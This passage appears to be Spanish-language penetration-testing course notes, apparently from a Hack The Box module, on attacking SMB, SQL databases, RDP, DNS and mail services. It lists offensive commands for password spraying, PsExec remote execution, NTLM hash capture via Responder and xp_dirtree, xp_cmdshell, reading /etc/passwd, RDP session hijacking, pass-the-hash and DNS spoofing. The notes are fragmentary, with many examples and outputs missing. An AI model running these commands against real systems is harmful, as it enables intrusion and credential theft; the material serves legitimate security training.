de trabajo o un controlador de dominio.
La herramienta rpcclient nos ofrece muchos comandos diferentes para ejecutar funciones
específicas en el servidor SMB para recopilar información o modificar atributos del servidor
como un nombre de usuario. Podemos utilizar esta hoja de trucos del SANS Institute o revisar
la lista completa de todas estas funciones que se encuentran en la página del manual
de rpcclient.
La herramienta original fue escrita en Perl y reescrita por Mark Lowe en Python .
./[Link] [Link] -A -C
Cuando se utiliza la fuerza bruta, se prueban tantas contraseñas como sea posible para una
cuenta, pero se puede bloquear una cuenta si se alcanza el umbral. Podemos utilizar la
fuerza bruta y detenernos antes de alcanzar el umbral si lo conocemos. De lo contrario, no
recomendamos utilizar la fuerza bruta.
El rociado de contraseñas es una mejor alternativa, ya que podemos seleccionar una lista
de nombres de usuario con una contraseña común para evitar bloqueos de cuentas.
Podemos probar más de una contraseña si conocemos el umbral de bloqueo de la cuenta.
Por lo general, dos o tres intentos son seguros, siempre que esperemos entre 30 y 60 minutos
entre intentos. Exploremos la herramienta CrackMapExec que incluye la capacidad de
ejecutar el rociado de contraseñas.
Con CrackMapExec (CME), podemos atacar múltiples IP, utilizando numerosos usuarios y
contraseñas. Exploremos un caso de uso cotidiano de rociado de contraseñas. Para realizar
un rociado de contraseñas contra una IP, podemos utilizar la opción -upara especificar un
archivo con una lista de usuarios y -p especificar una contraseña. Esto intentará autenticar
a cada usuario de la lista utilizando la contraseña proporcionada.
cat /tmp/[Link]
Los servidores SMB de Linux y Windows ofrecen diferentes vías de ataque. Por lo general,
solo obtendremos acceso al sistema de archivos, abusaremos de privilegios o explotaremos
vulnerabilidades conocidas en un entorno Linux, como veremos más adelante en esta
sección. Sin embargo, en Windows, la superficie de ataque es más significativa.
Al atacar un servidor SMB de Windows, nuestras acciones estarán limitadas por los privilegios
que tengamos sobre el usuario que logremos vulnerar. Si este usuario es Administrador o
tiene privilegios específicos, podremos realizar operaciones como:
PsExec es una herramienta que nos permite ejecutar procesos en otros sistemas, con
interactividad total para aplicaciones de consola, sin tener que instalar software de cliente
manualmente. Funciona porque tiene una imagen de servicio de Windows dentro de su
ejecutable. Toma este servicio y lo implementa en el recurso compartido admin$ (por
defecto) en la máquina remota. Luego usa la interfaz DCE/RPC sobre SMB para acceder a
la API del Administrador de control de servicios de Windows. A continuación, inicia el servicio
PSExec en la máquina remota. El servicio PSExec crea una canalización con nombre que
puede enviar comandos al sistema.
Podemos descargar PsExec desde el sitio web de Microsoft , o podemos utilizar algunas
implementaciones de Linux:
impacket-psexec -h
Para conectarse a una máquina remota con una cuenta de administrador local,
utilizando impacket-psexec, puede utilizar el siguiente comando:
impacket-psexec administrator:'Password123!'@[Link]
Otra herramienta que podemos utilizar para ejecutar CMD o PowerShell es CrackMapExec.
Una ventaja de CrackMapExec es la posibilidad de ejecutar un comando en varios hosts a
la vez. Para utilizarlo, necesitamos especificar el protocolo, smb, la dirección IP o el rango
de direcciones IP, la opción -u para el nombre de usuario y la opción -p para la contraseña,
y la opción -x para ejecutar comandos cmd o mayúsculas -X para ejecutar comandos de
PowerShell.
Imaginemos que estamos en una red con varias máquinas. Algunas de ellas comparten la
misma cuenta de administrador local. En este caso, podríamos utilizar CrackMapExec para
enumerar a los usuarios conectados en todas las máquinas dentro de la misma
red [Link]/24, lo que acelera nuestro proceso de enumeración.
También podemos abusar del protocolo SMB creando un servidor SMB falso para
capturar los hashes NetNTLM v1/v2 de los usuarios.
Cuando un usuario o un sistema intenta realizar una resolución de nombres (NR), una
máquina lleva a cabo una serie de procedimientos para recuperar la dirección IP de un
host a partir de su nombre de host. En las máquinas Windows, el procedimiento será
aproximadamente el siguiente:
• Se requiere la dirección IP del recurso compartido de archivos del nombre de host.
• Se comprobará el archivo del host local (C:\Windows\System32\Drivers\etc\hosts)
para buscar registros adecuados.
• Si no se encuentran registros, la máquina cambia al caché DNS local, que realiza un
seguimiento de los nombres resueltos recientemente.
• ¿No hay ningún registro DNS local? Se enviará una consulta al servidor DNS que se
haya configurado.
• Si todo lo demás falla, la máquina emitirá una consulta de multidifusión, solicitando
la dirección IP del recurso compartido de archivos a otras máquinas de la red.
responder -I ens33
Estas credenciales capturadas se pueden descifrar utilizando hashcat o transmitir a un host
remoto para completar la autenticación y hacerse pasar por el usuario.
SAMBA RELAY
SMB = Off
nc -lvnp 9001
RPC
Tenga en cuenta que se requieren algunas configuraciones específicas para permitir este
tipo de cambios a través de RPC. Podemos utilizar la página del manual de rpclient o
la hoja de trucos de acceso SMB desde Linux del SANS Institute para explorar esto más a
fondo.
MySQL y Microsoft SQL Server (MSSQL) son sistemas de gestión de bases de datos
relacionales que almacenan datos en tablas, columnas y filas. Muchos sistemas de bases
de datos relacionales como MSSQL y MySQL utilizan el lenguaje de consulta
estructurado ( SQL) para consultar y mantener la base de datos.
Enumeración
Mecanismos de autenticación
MSSQL admite dos modos de autenticación , lo que significa que los usuarios pueden
crearse en Windows o en SQL Server:
En el caso de MySQL 5.6.x, el servidor tarda más en responder a una contraseña incorrecta
que a una correcta, por lo que, si intentamos autenticarnos repetidamente con la misma
contraseña incorrecta, acabaremos recibiendo una respuesta indicando que se ha
encontrado la contraseña correcta, aunque no sea así.
Configuraciones erróneas
La autenticación mal configurada en SQL Server puede permitirnos acceder al servicio sin
credenciales si está habilitado el acceso anónimo, se configura un usuario sin contraseña o
se permite que cualquier usuario, grupo o máquina acceda a SQL Server.
Privilegios
Dependiendo de los privilegios del usuario, podremos realizar diferentes acciones dentro de
un SQL Server, como, por ejemplo:
Imaginemos que obtuvimos acceso a una base de datos SQL. Primero, necesitamos
identificar las bases de datos existentes en el servidor, qué tablas contiene la base de datos
y, por último, el contenido de cada tabla. Tenga en cuenta que podemos encontrar bases
de datos con cientos de tablas. Si nuestro objetivo no es solo obtener acceso a los datos,
necesitaremos seleccionar qué tablas pueden contener información interesante para
continuar con nuestros ataques, como nombres de usuario y contraseñas, tokens,
configuraciones y más. Veamos cómo podemos hacer esto:
Si apuntamos MSSQL desde Linux, podemos utilizar sqsh como alternativa sqlcmd:
Cuando usas -windows-auth, el script intentará conectarse a SQL Server usando las
credenciales del sistema operativo del usuario con el que estás ejecutando el comando.
Es decir, la autenticación se realizará utilizando la cuenta de usuario actual en el sistema
(que debe ser una cuenta de Windows válida con permisos para acceder a SQL Server).
Antes de explorar el uso de la sintaxis SQL, es esencial conocer las bases de datos
predeterminadas para MySQL y MSSQL. Esas bases de datos contienen información sobre
la base de datos en sí y nos ayudan a enumerar los nombres de las bases de datos, las
tablas, las columnas, etc. Con acceso a esas bases de datos, podemos utilizar algunos
procedimientos almacenados del sistema, pero por lo general no contienen datos de la
empresa.
• mysql- es la base de datos del sistema que contiene tablas que almacenan la
información requerida por el servidor MySQL
• information_schema- proporciona acceso a los metadatos de la base de datos
• performance_schema- es una función para monitorear la ejecución del servidor
MySQL a un nivel bajo
• sys- un conjunto de objetos que ayuda a los administradores de bases de datos y
desarrolladores a interpretar los datos recopilados por el esquema de rendimiento
SHOW DATABASES;
USE htbusers;
USE htbusers
GO
Mostrar tablas
SHOW TABLES;
Consúltenos en XP_CMDSHELL.
xp_cmdshell 'whoami'
GO
MySQL admite funciones definidas por el usuario , lo que nos permite ejecutar código
C/C++ como una función dentro de SQL. Hay una función definida por el usuario para la
ejecución de comandos en este repositorio de GitHub . No es común encontrar una función
definida por el usuario como esta en un entorno de producción, pero debemos tener en
cuenta que es posible que podamos usarla.
En el siguiente ejemplo, podemos ver que la secure_file_priv variable está vacía, lo que
significa que podemos leer y escribir datos usando MySQL:
Para escribir archivos usando MSSQL, necesitamos habilitar Ole Automation Procedures ,
que requiere privilegios de administrador, y luego ejecutar algunos procedimientos
almacenados para crear el archivo:
select LOAD_FILE("/etc/passwd");
En esta Attacking SMB sección, analizamos que podríamos crear un servidor SMB falso para
robar un hash y abusar de alguna implementación predeterminada dentro de un sistema
operativo Windows. También podemos robar el hash de la cuenta de servicio MSSQL
mediante xp_subdirs procedimientos xp_dirtree almacenados no documentados, que
utilizan el protocolo SMB para recuperar una lista de directorios secundarios bajo un
directorio principal especificado del sistema de archivos. Cuando utilizamos uno de estos
procedimientos almacenados y lo apuntamos a nuestro servidor SMB, la funcionalidad de
escucha del directorio obligará al servidor a autenticarse y enviar el hash NTLMv2 de la
cuenta de servicio que está ejecutando SQL Server.
Por alguna razón el Responder que trae Parrot OS no captura el NTLMv2 con el ataque a
continuación por lo que debemos descargar este proyecto de github
[Link] ingresamos a la carpeta Responder y ejecutamos
“python3 [Link] -I tun0” vemos a continuación que luego de loguearnos en la base
de datos MSSQL y poner el responder a la escucha, ejecutamos el comando “xp_dirtree
\\[Link]\share” desde la base de datos para capturar el hash NTLMv2 para su
posterior crackeo con “john” o “hashcat”
Robo de hash XP_SUBDIRS con impacket
SQL Server tiene un permiso especial, denominado IMPERSONATE, que permite al usuario
que realiza la ejecución asumir los permisos de otro usuario o iniciar sesión hasta que se
restablezca el contexto o finalice la sesión. Exploremos cómo el IMPERSONATE privilegio
puede provocar una escalada de privilegios en SQL Server.
En primer lugar, debemos identificar a los usuarios que podemos suplantar. Los
administradores de sistemas pueden suplantar a cualquier persona de forma
predeterminada, pero para los usuarios que no son administradores, los privilegios deben
asignarse explícitamente. Podemos utilizar la siguiente consulta para identificar a los
usuarios que podemos suplantar:
MSSQL tiene una opción de configuración llamada servidores vinculados . Los servidores
vinculados suelen configurarse para permitir que el motor de base de datos ejecute una
instrucción Transact-SQL que incluya tablas en otra instancia de SQL Server u otro producto
de base de datos como Oracle.
Como hemos visto, ahora podemos ejecutar consultas con privilegios de administrador del
sistema en el servidor vinculado. Como sysadmin, controlamos la instancia de SQL Server.
Podemos leer datos de cualquier base de datos o ejecutar comandos del sistema
con xp_cmdshell. Esta sección cubrió algunas de las formas más comunes de atacar bases
de datos SQL Server y MySQL durante las pruebas de penetración. Existen otros métodos
para atacar estos tipos de bases de datos, así como otros, como PostGreSQL , SQLite,
Oracle, Firebase y MongoDB , que se tratarán en otros módulos. Vale la pena tomarse un
tiempo para leer sobre estas tecnologías de bases de datos y algunas de las formas
comunes de atacarlas también.
Comandos de MSSQL - DB
De forma predeterminada, RDP utiliza el puerto TCP/3389. Con Nmap, podemos identificar
el servicio RDP disponible en el host de destino:
Configuraciones erróneas
Dado que RDP toma las credenciales del usuario para la autenticación, un vector de
ataque común contra el protocolo RDP es la adivinación de contraseñas. Aunque no es
común, podríamos encontrar un servicio RDP sin contraseña si hay una configuración
incorrecta.
Imaginemos que logramos acceder a una máquina y tenemos una cuenta con privilegios
de administrador local. Si un usuario está conectado a través de RDP a nuestra máquina
comprometida, podemos secuestrar la sesión de escritorio remoto del usuario para
aumentar nuestros privilegios y suplantar la cuenta. En un entorno de Active Directory, esto
podría dar como resultado que tomemos el control de una cuenta de administrador de
dominio o que ampliemos nuestro acceso dentro del dominio.
Para suplantar con éxito a un usuario sin su contraseña, necesitamos tener privilegios SYSTEM
y utilizar el binario [Link] de Microsoft que permite a los usuarios conectarse a otra sesión
de escritorio. Funciona especificando a qué nombre de sesión SESSION ID (4 para la
sesión lewen de nuestro ejemplo) nos gustaría conectarnos (rdp-tcp#13 que es nuestra
sesión actual) abriremos una nueva consola como la especificada SESSION_ID dentro de
nuestra sesión RDP actual:
Una vez iniciado el servicio lewen nos aparecerá una nueva terminal con la sesión del
usuario. Con esta nueva cuenta podremos intentar averiguar qué tipo de privilegios tiene
en la red, y quizás tengamos suerte y el usuario sea miembro del grupo Help Desk con
derechos de administrador de varios hosts o incluso un Administrador de Dominio.
Nota: Este método ya no funciona en Server 2019.
Una vez agregada la clave de registro, podemos usarla xfreerdp con la opción /pth de
obtener acceso RDP:
Tenga en cuenta que esto no funcionará en todos los sistemas Windows que encontremos,
pero siempre vale la pena intentarlo en una situación en la que tenemos un hash NTLM,
sabemos que el usuario tiene derechos RDP en una máquina o un conjunto de máquinas y
el acceso a la GUI nos beneficiaría de alguna manera para cumplir el objetivo de nuestra
evaluación.
Dominio Descripción
crowbar -b rdp -s [Link]/32 -U Pulverización de contraseñas contra el
[Link] -c 'password123' servicio RDP.
hydra -L [Link] -p 'password123' Forzar brutamente el servicio RDP.
[Link] rdp
rdesktop -u admin -p password123 Conectarse al servicio RDP usando
[Link] rdesktop Linux.
tscon #{TARGET_SESSION_ID} Suplantar a un usuario sin su
/dest:#{OUR_SESSION_NAME} contraseña.
net start sessionhijack Ejecutar el secuestro de sesión RDP.
reg add Habilite el "Modo de administrador
HKLM\System\CurrentControlSet\Control\Lsa restringido" en el host de Windows de
/t REG_DWORD /v DisableRestrictedAdmin /d
0x0 /f destino.
xfreerdp /v:[Link] /u:admin Utilice la técnica Pass-The-Hash para
/pth:A9FDFA038C4B75EBC76DC855DD74F0DA iniciar sesión en el host de destino sin
una contraseña.
Atacando el DNS
El sistema de nombres de dominio (DNSDNS) traduce los nombres de dominio (por ejemplo,
[Link]) a direcciones IP numéricas (por ejemplo, [Link]). El DNS es
principalmente UDP/53, pero el DNS dependerá TCP/53más de a medida que pase el
tiempo. El DNS siempre ha sido diseñado para usar tanto el puerto UDP como el TCP 53
desde el principio, siendo UDP el predeterminado, y vuelve a usar TCP cuando no puede
comunicarse en UDP, generalmente cuando el tamaño del paquete es demasiado grande
para pasar en un solo paquete UDP. Dado que casi todas las aplicaciones de red usan DNS,
los ataques contra servidores DNS representan una de las amenazas más frecuentes y
significativas en la actualidad.
Enumeración
Las opciones Nmap -sC (scripts predeterminados) y -sV (escaneo de versiones) se pueden
utilizar para realizar una enumeración inicial contra los servidores DNS de destino:
Una zona DNS es una parte del espacio de nombres DNS que administra una organización
o un administrador específico. Dado que el DNS comprende varias zonas DNS, los servidores
DNS utilizan transferencias de zona DNS para copiar una parte de su base de datos a otro
servidor DNS. A menos que un servidor DNS esté configurado correctamente (lo que limita
las direcciones IP que pueden realizar una transferencia de zona DNS), cualquiera puede
solicitarle a un servidor DNS una copia de la información de su zona, ya que las
transferencias de zona DNS no requieren ninguna autenticación. Además, el servicio DNS
generalmente se ejecuta en un puerto UDP; sin embargo, cuando realiza una transferencia
de zona DNS, utiliza un puerto TCP para una transmisión de datos confiable.
Un atacante podría aprovechar esta vulnerabilidad de transferencia de zona DNS para
obtener más información sobre el espacio de nombres DNS de la organización objetivo, lo
que aumentaría la superficie de ataque. Para explotarla, podemos usar la utilidad dig
con la opción AXFR de tipo de consulta DNS para volcar todos los espacios de nombres
DNS de un servidor DNS vulnerable:
También se pueden utilizar herramientas como Fierce para enumerar todos los servidores
DNS del dominio raíz y buscar una transferencia de zona DNS:
Uno de los mayores peligros de una toma de control de un subdominio es que se puede
lanzar una campaña de phishing que se considere parte del dominio oficial de la empresa
objetivo. Por ejemplo, los clientes verían el enlace y verían que el dominio customer-
[Link] (que apunta a un bucket S3 inexistente de AWS) está detrás del
dominio oficial [Link] y confiarían en él como cliente. Sin embargo, los clientes
no saben que esta página ha sido duplicada o creada por un atacante para provocar un
inicio de sesión por parte de los clientes de la empresa, por ejemplo.
Por lo tanto, si un atacante encuentra un CNAME registro en los registros DNS de la empresa
que apunta a un subdominio que ya no existe y devuelve un HTTP 404 error, lo más probable
es que podamos tomar el control de este subdominio mediante el uso del proveedor
externo. Una toma de control de un subdominio ocurre cuando un subdominio apunta a
otro dominio utilizando el registro CNAME que actualmente no existe. Cuando un atacante
registra este dominio inexistente, el subdominio apunta al registro de dominio realizado por
nosotros. Al realizar un único cambio de DNS, nos convertimos en propietarios de ese
subdominio en particular y, a partir de ahí, podemos administrar el subdominio como
queramos.
Enumeración de subdominios
Antes de realizar una toma de control de subdominio, debemos enumerar los subdominios
de un dominio de destino utilizando herramientas como Subfinder . Esta herramienta puede
extraer subdominios de fuentes abiertas como DNSdumpster . Otras herramientas
como Sublist3r también se pueden utilizar para extraer subdominios mediante la fuerza
bruta proporcionando una lista de palabras generada previamente:
Instalación de Subfinder:
./subfinder -d [Link] -v
Una excelente alternativa es una herramienta llamada Subbrute . Esta herramienta nos
permite utilizar resolutores autodefinidos y realizar ataques de fuerza bruta de DNS puros
durante pruebas de penetración internas en hosts que no tienen acceso a Internet.
En ocasiones las configuraciones físicas internas están poco protegidas, lo que podemos
aprovechar para subir nuestras herramientas desde un pendrive. Otro escenario sería que
hayamos llegado a un host interno a través de pivoting y queramos trabajar desde allí. Por
supuesto, hay otras alternativas, pero no está de más conocer formas y posibilidades
alternativas.
host [Link]
El subdominio support tiene un registro de alias que apunta a un depósito de AWS S3. Sin
embargo, la URL [Link] muestra un error NoSuchBucket que
indica que el subdominio es potencialmente vulnerable a una apropiación de subdominio.
Ahora, podemos apropiarnos del subdominio creando un depósito de AWS S3 con el mismo
nombre de subdominio.
El repositorio can-i-take-over-xyz también es una excelente referencia para una
vulnerabilidad de toma de control de subdominio. Muestra si los servicios de destino son
vulnerables a una toma de control de subdominio y proporciona pautas para evaluar la
vulnerabilidad.
Suplantación de DNS
Desde una perspectiva de red local, un atacante también puede realizar envenenamiento
de caché DNS utilizando herramientas MITM como Ettercap o Bettercap.
Para explotar el envenenamiento de caché DNS a través de Ettercap, primero debemos
editar el /etc/ettercap/[Link] archivo para asignar el nombre de dominio de destino (por
ejemplo, [Link]) que quieren falsificar y la dirección IP del atacante (por
ejemplo, [Link]) a la que quieren redirigir a un usuario:
cat /etc/ettercap/[Link]
Atacando el DNS
Dominio Descripción
dig AXFR @[Link] Realizar un intento de transferencia de
[Link] zona AXFR contra un servidor de nombres
específico.
subfinder -d [Link] -v Subdominios de fuerza bruta.
host [Link] Búsqueda de DNS para el subdominio
especificado.
Ataques a servicios de correo electrónico
De forma predeterminada, POP3 los clientes eliminan los mensajes descargados del servidor
de correo electrónico. Este comportamiento dificulta el acceso al correo electrónico en
varios dispositivos, ya que los mensajes descargados se almacenan en la computadora
local. Sin embargo, normalmente podemos configurar un POP3 cliente para que conserve
copias de los mensajes descargados en el servidor.
Por otro lado, de forma predeterminada, IMAP4 los clientes no eliminan los mensajes
descargados del servidor de correo electrónico. Este comportamiento facilita el acceso a
los mensajes de correo electrónico desde varios dispositivos. Veamos cómo podemos
apuntar a los servidores de correo.
Enumeración
Los servidores de correo electrónico son complejos y, por lo general, requieren que
enumeremos varios servidores, puertos y servicios. Además, hoy en día la mayoría de las
empresas tienen sus servicios de correo electrónico en la nube con servicios como Microsoft
365 o G-Suite . Por lo tanto, nuestro enfoque para atacar el servicio de correo electrónico
depende del servicio en uso.
Podemos utilizar el registro DNS Mail eXchanger (MX) para identificar un servidor de correo.
El registro MX especifica el servidor de correo responsable de aceptar mensajes de correo
electrónico en nombre de un nombre de dominio. Es posible configurar varios registros MX,
que normalmente apuntan a una matriz de servidores de correo para equilibrar la carga y
lograr redundancia.
Podemos utilizar herramientas como host o dig y sitios web en línea como MXToolbox para
consultar información sobre los registros MX:
host -t MX [Link]
host -t MX [Link]
DIG - Registros MX
Anfitrión - A Records
host -t A [Link].
Estos MX registros indican que los primeros tres servicios de correo utilizan servicios en la nube
G-Suite ([Link]), Microsoft 365 ([Link]) y
Zoho ([Link]), y el último puede ser un servidor de correo personalizado alojado por
la empresa.
Puerto Servicio
TCP/25 SMTP sin cifrar
TCP/143 IMAP4 sin cifrar
TCP/110 POP3 sin cifrar
TCP/465 SMTP encriptado
TCP/587 SMTP cifrado/ STARTTLS
TCP/993 IMAP4 encriptado
TCP/995 POP3 encriptado
Podemos usar la opción Nmap de script predeterminada -sC para enumerar esos puertos
en el sistema de destino:
Configuraciones erróneas
Los servicios de correo electrónico utilizan la autenticación para permitir que los usuarios
envíen y reciban correos electrónicos. Puede producirse una configuración incorrecta
cuando el servicio SMTP permite la autenticación anónima o admite protocolos que se
pueden utilizar para enumerar nombres de usuario válidos.
Autenticación
El servidor SMTP tiene distintos comandos que se pueden utilizar para enumerar nombres de
usuario válidos VRFY, EXPN, y RCPT TO. Si enumeramos correctamente nombres de usuario
válidos, podemos intentar rociar contraseñas, forzar la contraseña o adivinar una
contraseña válida. Así que, exploremos cómo funcionan esos comandos.
VRFY Este comando indica al servidor SMTP receptor que verifique la validez de un nombre
de usuario de correo electrónico en particular. El servidor responderá indicando si el usuario
existe o no. Esta función se puede desactivar.
Comando VRFY
Comando USUARIO
USER john
Aerosol O365
Podemos utilizarlo Hydra para realizar un ataque de fuerza bruta o un ataque por
pulverización de contraseñas contra servicios de correo electrónico como SMTP, POP3
o IMAP4. Primero, necesitamos obtener una lista de nombres de usuario y una lista de
contraseñas y especificar qué servicio queremos atacar. Veamos un ejemplo para POP3.
Si los servicios en la nube admiten los protocolos SMTP, POP3 o IMAP4, es posible que
podamos intentar realizar un rociado de contraseñas con herramientas como Hydra, pero
estas herramientas suelen estar bloqueadas. En su lugar, podemos intentar utilizar
herramientas personalizadas como o365spray o MailSniper para Microsoft Office 365
o CredKing para Gmail u Okta. Tenga en cuenta que estas herramientas deben estar
actualizadas porque si el proveedor de servicios cambia algo (lo que sucede a menudo),
es posible que las herramientas dejen de funcionar. Este es un ejemplo perfecto de por qué
debemos comprender lo que hacen nuestras herramientas y tener los conocimientos
necesarios para modificarlas si no funcionan correctamente por algún motivo.
O365 Spray - Pulverización de contraseñas
Relé abierto
Desde el punto de vista de un atacante, podemos aprovechar esto para realizar phishing
enviando correos electrónicos como usuarios inexistentes o falsificando el correo
electrónico de otra persona. Por ejemplo, imaginemos que estamos apuntando a una
empresa con un servidor de correo de retransmisión abierta e identificamos que utiliza una
dirección de correo electrónico específica para enviar notificaciones a sus empleados.
Podemos enviar un correo electrónico similar utilizando la misma dirección y agregar
nuestro enlace de phishing con esta información. Con el nmap smtp-open-relay script,
podemos identificar si un puerto SMTP permite una retransmisión abierta.
telnet servidor_smtp 25
O bien, en caso de que uses un puerto seguro (como el 587 o 465), puedes usar openssl para
establecer una conexión TLS:
nc -lvnp 4444
Próximos pasos
Como hemos visto, los ataques de correo electrónico pueden dar lugar a la divulgación de
datos confidenciales mediante el acceso directo a la bandeja de entrada de un usuario o
mediante la combinación de una configuración incorrecta con un correo electrónico de
phishing convincente. Existen otras formas de atacar los servicios de correo electrónico que
también pueden ser muy eficaces. Algunos casos de Hack The Box demuestran ataques de
correo electrónico, como Rabbit , que se ocupa de la fuerza bruta de Outlook Web Access
(OWA) y, a continuación, envía un documento con una macro maliciosa para suplantar la
identidad de un usuario; SneakyMailer , que tiene elementos de phishing y enumera la
bandeja de entrada de un usuario mediante Netcat y un cliente IMAP; y Reel , que se
ocupa de la fuerza bruta de los usuarios SMTP y el phishing con un archivo RTF malicioso.
Vale la pena jugar con estas cajas, o al menos mirar el video de Ippsec o leer un tutorial
para ver ejemplos de estos ataques en acción. Esto se aplica a cualquier ataque
demostrado en este módulo (u otros). El sitio [Link] se puede utilizar para buscar
términos comunes y mostrará en qué cajas HTB aparecen, lo que revelará una gran
cantidad de objetivos contra los que practicar.